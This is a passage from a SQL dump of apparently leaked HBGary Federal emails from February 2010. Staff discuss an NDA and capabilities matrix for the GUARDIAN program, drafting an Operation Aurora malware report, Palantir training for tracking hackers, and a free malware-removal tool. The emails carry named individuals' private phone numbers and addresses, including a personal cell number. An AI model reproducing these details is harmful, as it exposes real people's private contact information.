\r\n-G\r\n',12619,'aaron_hbgary_com/12619.html'),(2112,'2010-02-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000944.M359354P3547Q2112.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: NDA for GUARDIAN','I\'ll put the fully executed version on the share once she sends it.\r\n\r\ntv\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Feb 5, 2010 at 3:31 PM\r\nSubject: Re: NDA for GUARDIAN\r\nTo: \"Logel, Moira\" \r\n\r\n\r\nSigned NDA attached.  Thanks Moira, have a nice weekend.\r\n\r\nTed\r\n\r\nOn Fri, Feb 5, 2010 at 2:22 PM, Logel, Moira  wrote:\r\n> Hello, Ted.\r\n>\r\n>\r\n>\r\n> Please find an NDA attached in support of the GUARDIAN program.\r\n>\r\n>\r\n>\r\n> Please identify any requested changes with redlines.  Should the NDA be\r\n> acceptable as written, please fill in any required administrative/POC\r\n> information and return a signed copy to my attention  I will then\r\n> countersign and forward a fully executed copy for your records.\r\n>\r\n>\r\n>\r\n> Thank you.\r\n>\r\n>\r\n>\r\n> Moira Logel\r\n>\r\n> Sr. Contracts Administrator\r\n>\r\n> MacAulay-Brown, Inc.\r\n>\r\n> Phone:  (937) 426-3421\r\n>\r\n> Fax:  (937) 426-5364\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14494,'aaron_hbgary_com/14494.html'),(2113,'2010-02-05','ted@hbgary.com','/aaron@hbgary.com/new/1297000944.M623986P3547Q2113.eml','aaron@hbgary.com','HBGary Guardian Capabilities Matrix, Guardian SOW 5 Jan 10','\r\n\r\nI\'ve shared some items with you\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nHBGary Guardian Capabilities Matrix Guardian SOW 5 Jan 10\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',6006,'aaron_hbgary_com/6006.html'),(2114,'2010-02-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000944.M818818P3547Q2114.eml','\"Aaron Barr\" <aaron@hbgary.com>,rich@hbgary.com','DRAFT 2 of the aurora report, still needs service offering / federal','Aaron, Rich,\r\n \r\nAttached is DRAFT 2.  I added Rich&#39;s contribution for the services offering.  I was hoping to have something from Aaron today.  I have not heard back from Endgames, so assuming they don&#39;t get back to us before COB monday we will _NOT_ be doing a webinar / press release around the report, since as-is it does not move the story forward.  Per Karen&#39;s recommendation, we are not going to insert any Palantir data from the unrelated infection.  Again, I was hoping Endgames would have made the difference and we could have added some threat intel in Palantir form.  I guess it&#39;s on you Aaron if you want Endgames in on this.  If we wait, its going to bump to the following week.\r\n\r\n \r\nWe need the service offering to be written out better.  Thanks Rich for getting us something to start with.\r\n \r\nRich, do you want to even mention EnCase in there?  If so, I need a screenshot and a step-by-step on how to use the integrated DDNA to detect aurora, if possible.\r\n \r\n-Greg\r\n',10814,'aaron_hbgary_com/10814.html'),(2115,'2010-02-06','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000945.M221038P3547Q2116.eml','\"Barr Aaron\" <aaron@hbgary.com>','.Mac Reader: Gizmodo','feed://www.gizmodo.com/index.xml#b5\r\n\r\n\r\n\r\n',1895,'aaron_hbgary_com/1895.html'),(2116,'2010-02-06','rich@hbgary.com','/aaron@hbgary.com/new/1297000945.M27000P3547Q2115.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: DRAFT 2 of the aurora report, still needs service offering / federal','   Yes I will add the encase stuff by tomorrow.  Sent from my Verizon Wireless BlackBerryFrom:  Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: Fri, 5 Feb 2010 17:08:32 -0800To: Aaron Barr&lt;aaron@hbgary.com&gt;; &lt;rich@hbgary.com&gt;Subject: DRAFT 2 of the aurora report, still needs service offering / federalAaron, Rich,\r\n \r\nAttached is DRAFT 2.  I added Rich&#39;s contribution for the services offering.  I was hoping to have something from Aaron today.  I have not heard back from Endgames, so assuming they don&#39;t get back to us before COB monday we will_NOT_ be doing a webinar / press release around the report, since as-is it does not move the story forward.  Per Karen&#39;s recommendation, we are not going to insert any Palantir data from the unrelated infection.  Again, I was hoping Endgames would have made the difference and we could have added some threat intel in Palantir form.  I guess it&#39;s on you Aaron if you want Endgames in on this.  If we wait, its going to bump to the following week.\r\n\r\n \r\nWe need the service offering to be written out better.  Thanks Rich for getting us something to start with.\r\n \r\nRich, do you want to even mention EnCase in there?  If so, I need a screenshot and a step-by-step on how to use the integrated DDNA to detect aurora, if possible.\r\n \r\n-Greg\r\n\r\n',8760,'aaron_hbgary_com/8760.html'),(2117,'2010-02-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000945.M550307P3547Q2117.eml','\"Ted Vera\" <tedvera@me.com>','Re: .Mac Reader: Gizmodo','Which one?\r\n\r\n From my iPhone\r\n\r\nOn Feb 5, 2010, at 8:38 PM, Ted Vera  wrote:\r\n\r\n> feed://www.gizmodo.com/index.xml#b5\r\n>\r\n>\r\n>\r\n',8133,'aaron_hbgary_com/8133.html'),(2118,'2010-02-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000945.M777451P3547Q2118.eml','\"Ted Vera\" <tedvera@me.com>','Re: .Mac Reader: Gizmodo','Greg has an amazing idea but requires some risk.\r\n\r\n From my iPhone\r\n\r\nOn Feb 5, 2010, at 8:38 PM, Ted Vera  wrote:\r\n\r\n> feed://www.gizmodo.com/index.xml#b5\r\n>\r\n>\r\n>\r\n',6590,'aaron_hbgary_com/6590.html'),(2119,'2010-02-06','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000945.M974657P3547Q2119.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: .Mac Reader: Gizmodo','Jake Jarrard disowned me as a FB friend, lol...\r\n\r\n   The DARPA genetic engineering project to create an organism that  \r\nwill not die of old age, spooky...\r\n\r\nWhat\'s his idea?\r\n\r\n\r\n\r\nOn Feb 5, 2010, at 7:08 PM, Aaron Barr  wrote:\r\n\r\n> Greg has an amazing idea but requires some risk.\r\n>\r\n> From my iPhone\r\n>\r\n> On Feb 5, 2010, at 8:38 PM, Ted Vera  wrote:\r\n>\r\n>> feed://www.gizmodo.com/index.xml#b5\r\n>>\r\n>>\r\n>>\r\n',1698,'aaron_hbgary_com/1698.html'),(2120,'2010-02-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000946.M161290P3547Q2120.eml','\"Barr Aaron\" <aaron@hbgary.com>','Cool -- real \"cloud\" shared drive from Google','We were just talking about this the other day!\r\n\r\nhttp://www.google.com/google-d-s/whatsnew.html\r\n\r\nTed\r\n',8990,'aaron_hbgary_com/8990.html'),(2121,'2010-02-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000946.M335602P3547Q2121.eml','\"Barr Aaron\" <aaron@hbgary.com>','Capabilities Matrix','Take a look at the capabilities matrix - in the cloud \"HBGary Guardian\r\nCapabilities Matrix\" I think it\'s ready (or pretty close) to send to\r\nMacB.  We didn\'t receive the executed NDA yet from MacB.\r\n\r\nTed\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4856,'aaron_hbgary_com/4856.html'),(2122,'2010-02-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000946.M567591P3547Q2122.eml','dan.willis@macb.com','HBGary Capabilities Matrix','Hi Dan,\r\n\r\nWe completed the HBGary capabilities matrix, cross-referenced to the\r\nRFP and SOW para #\'s.  I\'ll forward as soon as we receive the fully\r\nexecuted NDA.  Hope you have a nice weekend.\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4535,'aaron_hbgary_com/4535.html'),(2123,'2010-02-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000946.M754903P3547Q2123.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Charles Copeland\" <chark@hbgary.com>','Palatir training',' \r\nAaron, \r\nPlease contact your bud at Palantir and let him know we would love to get some training next week.  We are having the most basic of issues, such as we can&#39;t figure out how to define our own types.  Instead of &#39;suicide bomber&#39; I want to create &#39;Hacker&#39; as a person type, for example.  The ontology is all messed up for our target domain.\r\n\r\n \r\nTell your contact that we have many specific data types that we would like to map.  There are over 400 individual hackers we need to track, many are chinese / russian and we need to xref in a variety of ways (associate of, co-forum, purchased from, etc).  We need to associate the amount of money that was transferred if possible.  All kinds of technical questions we have.  We even want to write some stand alone tools that will harvest scan data from the Internet and automatically import it.  I can share our current mysql schema with him, maybe he can help us make that palantir-friendly.\r\n\r\n \r\nI want to highlight palantir in all of our marketing which relates to tracking bad guys.  It should be good for them.\r\n \r\n-Greg\r\n \r\n \r\n',271,'aaron_hbgary_com/271.html'),(2124,'2010-02-06','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297000946.M932605P3547Q2124.eml','\"Aaron Barr\" <aaron@hbgary.com>','Wow','Neat paper -- \r\n\r\nhttp://www.cs.ucsb.edu/%7Eseclab/projects/torpig/torpig.pdf\r\n',15453,'aaron_hbgary_com/15453.html'),(2125,'2010-02-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000947.M130393P3547Q2125.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Fwd: Palatir training','Hey Matt,Any chance of working something out next week?AaronBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: February 5, 2010 10:56:45 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Shawn Bracken &lt;shawn@hbgary.com&gt;,  Charles Copeland &lt;chark@hbgary.com&gt;Subject: Palatir training&nbsp;\r\nAaron, \r\nPlease contact your bud at Palantir and let him know we would love to get some training next week.&nbsp; We are having the most basic of issues, such as we can\'t figure out how to define our own types.&nbsp; Instead of \'suicide bomber\' I want to create \'Hacker\' as a person type, for example.&nbsp; The ontology is all messed up for our target domain.\r\n\r\n&nbsp;\r\nTell your contact that we have many specific data types that we would like to map.&nbsp; There are over 400 individual hackers we need to track, many are chinese / russian and we need to xref in a variety of ways (associate of, co-forum, purchased from, etc).&nbsp; We need to associate the amount of money that was transferred if possible.&nbsp; All kinds of technical questions we have.&nbsp; We even want to write some stand alone tools that will harvest scan data from the Internet and automatically import it.&nbsp; I can share our current mysql schema with him, maybe he can help us make that palantir-friendly.\r\n\r\n&nbsp;\r\nI want to highlight palantir in all of our marketing which relates to tracking bad guys.&nbsp; It should be good for them.\r\n&nbsp;\r\n-Greg\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15893,'aaron_hbgary_com/15893.html'),(2126,'2010-02-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000947.M316685P3547Q2126.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: China and the Citizen Hacker','What do we know about covert intelligence operations.  The more people you involve/inform, the more difficult it is to keep them covert.\r\n\r\nWhat is likely.  The Chinese government has a strong cyber intelligence capability that includes significant offensive capability.  This includes penetration into foreign networks at all levels.  This activity is likely very focused and controlled.\r\n\r\nWhat is the likelihood of chinese citizen cyber soldiers...unlikely.  What is more likely is certain information and tools are \"leaked\" to the greater population and through influence campaigns on their own people, somewhat guided in operations.  All this happens very loosely and one way.  The benefit is the chinese government can gain passive secondary access to the information accessed.  As well these techniques create a lot of noise and confusion around the more targeted events, attribution becomes more convoluted, etc.\r\n\r\nThis is not fact necessarily but educated observations.\r\n\r\nHope this helps.\r\n\r\nAaron\r\n\r\nOn Feb 5, 2010, at 5:32 PM, Greg Hoglund wrote:\r\n\r\n> Either of you have anything I can elaborate on this slide:\r\n>  \r\n> Chinese Cyber Blackwater\r\n> - Citizen cyber soldiers\r\n>  -- Hackers being directed at specific targets & missions by the government\r\n> - Because this model does not have much structure and oversight, Chinese attacks are somewhat sloppy\r\n>    -- No use of cutouts – direct C&C to China\r\n>    -- Use of poorly coded bot systems (i.e., GhostNET)\r\n>  \r\n> Its for the RSA talk.\r\n>  \r\n> -G\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1857,'aaron_hbgary_com/1857.html'),(2127,'2010-02-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000947.M515650P3547Q2127.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: DRAFT 2 of the aurora report, still needs service offering / federal','no attachment.\r\n\r\nOn Feb 5, 2010, at 8:08 PM, Greg Hoglund wrote:\r\n\r\n> Aaron, Rich,\r\n>  \r\n> Attached is DRAFT 2.  I added Rich\'s contribution for the services offering.  I was hoping to have something from Aaron today.  I have not heard back from Endgames, so assuming they don\'t get back to us before COB monday we will _NOT_ be doing a webinar / press release around the report, since as-is it does not move the story forward.  Per Karen\'s recommendation, we are not going to insert any Palantir data from the unrelated infection.  Again, I was hoping Endgames would have made the difference and we could have added some threat intel in Palantir form.  I guess it\'s on you Aaron if you want Endgames in on this.  If we wait, its going to bump to the following week.\r\n>  \r\n> We need the service offering to be written out better.  Thanks Rich for getting us something to start with.\r\n>  \r\n> Rich, do you want to even mention EnCase in there?  If so, I need a screenshot and a step-by-step on how to use the integrated DDNA to detect aurora, if possible.\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8163,'aaron_hbgary_com/8163.html'),(2128,'2010-02-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000948.M973162P3547Q2128.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DRAFT 2 of the aurora report, still needs service offering / 	federal','\r\nOn Fri, Feb 5, 2010 at 8:46 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nno attachment.\r\n\r\n\r\nOn Feb 5, 2010, at 8:08 PM, Greg Hoglund wrote:&gt; Aaron, Rich,&gt;&gt; Attached is DRAFT 2.  I added Rich&#39;s contribution for the services offering.  I was hoping to have something from Aaron today.  I have not heard back from Endgames, so assuming they don&#39;t get back to us before COB monday we will _NOT_ be doing a webinar / press release around the report, since as-is it does not move the story forward.  Per Karen&#39;s recommendation, we are not going to insert any Palantir data from the unrelated infection.  Again, I was hoping Endgames would have made the difference and we could have added some threat intel in Palantir form.  I guess it&#39;s on you Aaron if you want Endgames in on this.  If we wait, its going to bump to the following week.\r\n&gt;&gt; We need the service offering to be written out better.  Thanks Rich for getting us something to start with.&gt;&gt; Rich, do you want to even mention EnCase in there?  If so, I need a screenshot and a step-by-step on how to use the integrated DDNA to detect aurora, if possible.\r\n&gt;&gt; -GregAaron BarrCEOHBGary Federal Inc.\r\n',5138,'aaron_hbgary_com/5138.html'),(2129,'2010-02-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000951.M174702P3547Q2129.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>','Party invitation','Rich, Phil, Aaron and Matt,\r\n \r\nAttached is info about a party next Saturday night, Feb 13.  Can you attend?  Take your main squeeze.  There is going to be a killer live band playing mostly R&amp;B, but with a good dose of rock-n-roll favorites.  There will be a dance floor.  Between sets will be some valentine type themes to make the women feel good.\r\n\r\n \r\nThe band and room rental are expensive so we&#39;ve asked participants to contribute a few bucks to spread the costs.\r\n \r\nLet me know if you want to come.  If you go as a group you&#39;ll all know each other.Bob\r\n',7849,'aaron_hbgary_com/7849.html'),(2130,'2010-02-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000952.M637187P3547Q2130.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: DRAFT 2 of the aurora report, still needs service offering /  federal','Rich put together the Services section.  I am re-writing now.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Greg Hoglund \r\n> Date: February 6, 2010 1:49:01 AM EST\r\n> To: Aaron Barr \r\n> Subject: Re: DRAFT 2 of the aurora report, still needs service offering / federal\r\n> \r\n> \r\n> \r\n> On Fri, Feb 5, 2010 at 8:46 PM, Aaron Barr  wrote:\r\n> no attachment.\r\n> \r\n> On Feb 5, 2010, at 8:08 PM, Greg Hoglund wrote:\r\n> \r\n> > Aaron, Rich,\r\n> >\r\n> > Attached is DRAFT 2.  I added Rich\'s contribution for the services offering.  I was hoping to have something from Aaron today.  I have not heard back from Endgames, so assuming they don\'t get back to us before COB monday we will _NOT_ be doing a webinar / press release around the report, since as-is it does not move the story forward.  Per Karen\'s recommendation, we are not going to insert any Palantir data from the unrelated infection.  Again, I was hoping Endgames would have made the difference and we could have added some threat intel in Palantir form.  I guess it\'s on you Aaron if you want Endgames in on this.  If we wait, its going to bump to the following week.\r\n> >\r\n> > We need the service offering to be written out better.  Thanks Rich for getting us something to start with.\r\n> >\r\n> > Rich, do you want to even mention EnCase in there?  If so, I need a screenshot and a step-by-step on how to use the integrated DDNA to detect aurora, if possible.\r\n> >\r\n> > -Greg\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3131,'aaron_hbgary_com/3131.html'),(2131,'2010-02-07','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000960.M933554P3547Q2131.eml','\"Aaron Barr\" <aaron@hbgary.com>,karen@hbgary.com,rich@hbgary.com','added palantir data back in',' \r\nI added palantir back in, cleverly using the exsiting research as a positive.\r\n \r\nI have removed endgames and guidance. Unless something comes in on monday I will leave them out.\r\n \r\nI yanked Rich&#39;s service text back out, awaiting Aarons updated version.\r\n \r\nKaren, is there anything you think needs to be reworded?  In general, I would say this report isn&#39;t &#39;moving the story forward&#39;, but nobody has assembled something this concise yet, everything is just smattered across blog posts, etc.  We are releasing the innoculator so maybe that is news worthy?\r\n\r\n \r\n-Greg\r\n',5604,'aaron_hbgary_com/5604.html'),(2132,'2010-02-07','\"Dino Dai Zovi\" <ddz@endgames.us>','/aaron@hbgary.com/new/1297000961.M279175P3547Q2132.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: The HBGary report timeline','Hi Greg,\r\n\r\nWe were unaware that the report was intended for public distribution and cannot contribute to it at this time. \r\n\r\nLet\'s pick up the discussion later about Responder and REcon b/c I think those would be very interesting to check out.\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\nOn Feb 5, 2010, at 2:29 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Dino, Aaron,\r\n>  \r\n> The report, while I like it, does not move the story forward.  Almost all of the data has been reported in other blogs, etc.  Because of that, we initally had not planned to make press about it.  However, I am hoping that Endgames can bring some fresh threat intelligence to the table that hasn\'t been made public yet.  Also, HBGary has created an \'innoculation shot\' (a small signed exe utility) that will scan for and remove hydraq variants from the Enterprise - we are going to release that for free download with the report (that should drive a huge number of hits and downloads). I am on the phone right now w/ our PR (Karen), and assuming we can move the story forward somehow, she wants to schedule a webinar for Wednesday next week where we present the report.  The report will need to be final on Monday the 8th for this to work (because we need to pre-release it to the reporters). If we can\'t make that, it will have to bump to the following week (story can break monday 15th). \r\n>  \r\n> Cheers,\r\n> -Greg\r\n>  \r\n> ps. Dino, you have probably already done this yourself, but after we RE\'d the protocol, we wrote a stand-in C&C server that will communicate to the aurora malware, and we are able to command it / drive it, etc.  I am willing to share all of our internal RE research with you.  And, we should outfit you w/ Responder and REcon - I think you will especially love REcon.\r\n>  \r\n> pss. I am still working on ways to integrate some link analysis w/ Palantir into the report, and hoping that some of the Endgames data will provide some datapoints I can port over to a Palantir investigation.  I want to highlight our partners as much as possible, so this benefits Endgames, Palantir, and HBGary combined.\r\n>  \r\n>  \r\n\r\n',10325,'aaron_hbgary_com/10325.html'),(2133,'2010-02-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000961.M602813P3547Q2133.eml','\"Dino Dai Zovi\" <ddz@endgames.us>,\"Dino Dai Zovi\" <ddz@endgames.us>,,','Re: The HBGary report timeline','Dino,\r\n\r\nUnderstand.  We weren\'t sure if there is some subset of data that you could contribute for a broader release, and having not seen the specific data, wasn\'t sure how sensitive it was.\r\n\r\nTalk with Chris but maybe there is an agreed upon list of customers we can distribute to for a more complete report?  I know we are going to talk to some senior folks in Maryland in a few weeks and would very much like to take a combined Endgame/Palantir/HBGary product.\r\n\r\nWe were hoping to get a public report out that focused on actionable intelligence for a broader audience along with an inoculation shot.  Being very careful as to the sources or methods of acquiring the data.  This report would hopefully demonstrate the benefit of looking at combating the threat much differently.\r\n\r\nI will work to set up a technical discussion sometime next week so we can all get on the phone and talk about how we can collaborate, boundaries, etc... all for the betterment of mankind. :)\r\n\r\nAaron\r\n\r\nOn Feb 7, 2010, at 1:10 PM, Dino Dai Zovi wrote:\r\n\r\n> Hi Greg,\r\n> \r\n> We were unaware that the report was intended for public distribution and cannot contribute to it at this time. \r\n> \r\n> Let\'s pick up the discussion later about Responder and REcon b/c I think those would be very interesting to check out.\r\n> \r\n> Cheers,\r\n> \r\n> -Dino\r\n> \r\n> On Feb 5, 2010, at 2:29 PM, Greg Hoglund wrote:\r\n> \r\n>> \r\n>> Dino, Aaron,\r\n>> \r\n>> The report, while I like it, does not move the story forward.  Almost all of the data has been reported in other blogs, etc.  Because of that, we initally had not planned to make press about it.  However, I am hoping that Endgames can bring some fresh threat intelligence to the table that hasn\'t been made public yet.  Also, HBGary has created an \'innoculation shot\' (a small signed exe utility) that will scan for and remove hydraq variants from the Enterprise - we are going to release that for free download with the report (that should drive a huge number of hits and downloads). I am on the phone right now w/ our PR (Karen), and assuming we can move the story forward somehow, she wants to schedule a webinar for Wednesday next week where we present the report.  The report will need to be final on Monday the 8th for this to work (because we need to pre-release it to the reporters). If we can\'t make that, it will have to bump to the following week (story can break monday 15th). \r\n>> \r\n>> Cheers,\r\n>> -Greg\r\n>> \r\n>> ps. Dino, you have probably already done this yourself, but after we RE\'d the protocol, we wrote a stand-in C&C server that will communicate to the aurora malware, and we are able to command it / drive it, etc.  I am willing to share all of our internal RE research with you.  And, we should outfit you w/ Responder and REcon - I think you will especially love REcon.\r\n>> \r\n>> pss. I am still working on ways to integrate some link analysis w/ Palantir into the report, and hoping that some of the Endgames data will provide some datapoints I can port over to a Palantir investigation.  I want to highlight our partners as much as possible, so this benefits Endgames, Palantir, and HBGary combined.\r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13054,'aaron_hbgary_com/13054.html'),(2134,'2010-02-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000963.M279521P3547Q2134.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Latest Report','Matt,\r\n\r\nLatest copy.  We know we can put in some better shots using Palantir but just don\'t have the skillz yet.  Looks like we will be doing 2 reports.  Endgames is not keen on providing any content that will be for public release.  So we will do another report that we can distribute directly to customers.  For that report we will have a little more time to get in some good Palantir shots.\r\n\r\nWhen can Geoff go up to Sacramento?\r\n\r\nWe got a request to set up a meeting with some folks up at NTOC and ANO, so will be doing that in the next few weeks.  Would like to bring a finished report with us.\r\n\r\nAaron\r\n\r\n',11640,'aaron_hbgary_com/11640.html'),(2135,'2010-02-07','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000963.M544773P3547Q2135.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,aaron@hbgary.com','rewrote the KEY FINDINGS paragraph','I reworded it:\r\n \r\n\r\nEvidence collected around the malware operation suggest that Operation Aurora is simply an example of highly effective malware penetration. There is not significant evidence to attribute the operation directly to the Chinese Government. However, key actors have been identified in association with malware operations that utilize Chinese systems and native language malware.  This has lead to a great deal of speculation about Chinese-State involvement.  It must be noted that a large and thriving underground economy exists to both build and disseminate malware worldwide, and that most of this malware is capable of intellectual property theft.  The malicious hacking underculture is strong in China, as in Eastern Europe and elsewhere, and clearly enmeshed into a global criminal economy of data theft.  While difficult to conclude that these activities receive any form of state sponsorship or direction, the malware operation remains a funded and significant risk to intellectual property in the enterprise.\r\n\r\n \r\n-G\r\n',276,'aaron_hbgary_com/276.html'),(2136,'2010-02-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000963.M854818P3547Q2136.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: rewrote the KEY FINDINGS paragraph','well written.On Feb 7, 2010, at 2:19 PM, Greg Hoglund wrote:I reworded it:\r\n&nbsp;\r\nEvidence collected around the malware operation suggest that Operation Aurora is simply an example of highly effective malware penetration. There is not significant evidence to attribute the operation directly to the Chinese Government. However, key actors have been identified in association with malware operations that utilize Chinese systems and native language malware.&nbsp; This has lead to a great deal of speculation about Chinese-State involvement. &nbsp;It must be noted that a large and thriving underground economy exists to both build and disseminate malware worldwide, and that most of this malware is capable of intellectual property theft.&nbsp; The malicious hacking underculture is strong in China, as in Eastern Europe and elsewhere, and clearly enmeshed into a global criminal economy of data theft.&nbsp; While difficult to conclude that these activities receive any form of state sponsorship or direction, the malware operation remains a funded and significant risk to intellectual property in the enterprise.&nbsp;-G\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11291,'aaron_hbgary_com/11291.html'),(2137,'2010-02-07','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000964.M63442P3547Q2137.eml','\"Dino Dai Zovi\" <ddz@endgames.us>,\"Dino Dai Zovi\" <ddz@endgames.us>','Re: The HBGary report timeline','No problem Dino - I&#39;ll see about getting you setup w/ our software.  How is your &#39;No More Free Bugs&#39; effort coming along?\r\n \r\nCheers,\r\n-G\r\nOn Sun, Feb 7, 2010 at 10:10 AM, Dino Dai Zovi &lt;ddz@endgames.us&gt; wrote:\r\nHi Greg,We were unaware that the report was intended for public distribution and cannot contribute to it at this time.\r\nLet&#39;s pick up the discussion later about Responder and REcon b/c I think those would be very interesting to check out.Cheers,-Dino\r\n\r\n\r\nOn Feb 5, 2010, at 2:29 PM, Greg Hoglund wrote:&gt;&gt; Dino, Aaron,&gt;&gt; The report, while I like it, does not move the story forward.  Almost all of the data has been reported in other blogs, etc.  Because of that, we initally had not planned to make press about it.  However, I am hoping that Endgames can bring some fresh threat intelligence to the table that hasn&#39;t been made public yet.  Also, HBGary has created an &#39;innoculation shot&#39; (a small signed exe utility) that will scan for and remove hydraq variants from the Enterprise - we are going to release that for free download with the report (that should drive a huge number of hits and downloads). I am on the phone right now w/ our PR (Karen), and assuming we can move the story forward somehow, she wants to schedule a webinar for Wednesday next week where we present the report.  The report will need to be final on Monday the 8th for this to work (because we need to pre-release it to the reporters). If we can&#39;t make that, it will have to bump to the following week (story can break monday 15th).\r\n&gt;&gt; Cheers,&gt; -Greg&gt;&gt; ps. Dino, you have probably already done this yourself, but after we RE&#39;d the protocol, we wrote a stand-in C&amp;C server that will communicate to the aurora malware, and we are able to command it / drive it, etc.  I am willing to share all of our internal RE research with you.  And, we should outfit you w/ Responder and REcon - I think you will especially love REcon.\r\n&gt;&gt; pss. I am still working on ways to integrate some link analysis w/ Palantir into the report, and hoping that some of the Endgames data will provide some datapoints I can port over to a Palantir investigation.  I want to highlight our partners as much as possible, so this benefits Endgames, Palantir, and HBGary combined.\r\n&gt;&gt;\r\n',4679,'aaron_hbgary_com/4679.html'),(2138,'2010-02-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000967.M628379P3547Q2138.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','HBGary Federal Services','Ok so here is what I have so far for a look.  I am still working on it.\r\n\r\n',1774,'aaron_hbgary_com/1774.html'),(2139,'2010-02-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000969.M801759P3547Q2139.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Services','I think this is a good start.  We will likely expand our services over time but we need to focus and succeed first, and this seems like the right set to focus on.  Do you think I missed something?\r\n\r\n',15370,'aaron_hbgary_com/15370.html'),(2140,'2010-02-07','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000970.M183332P3547Q2141.eml','aaron@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>','Re: rewrote the KEY FINDINGS paragraph','Lots of good stuff here Greg. I do have questions -- easier if we just go over by phone. Feel free to call me today (Sunday) if you want to discuss. My cell is 650-814-3764. Or, we can talk Monday morning. Best, Karen&nbsp;--- On Sun, 2/7/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: rewrote the KEY FINDINGS paragraphTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, aaron@hbgary.comDate: Sunday, February 7, 2010, 11:19 AM\r\n\r\nI reworded it:\r\n&nbsp;\r\n\r\nEvidence collected around the malware operation suggest that Operation Aurora is simply an example of highly effective malware penetration. There is not significant evidence to attribute the operation directly to the 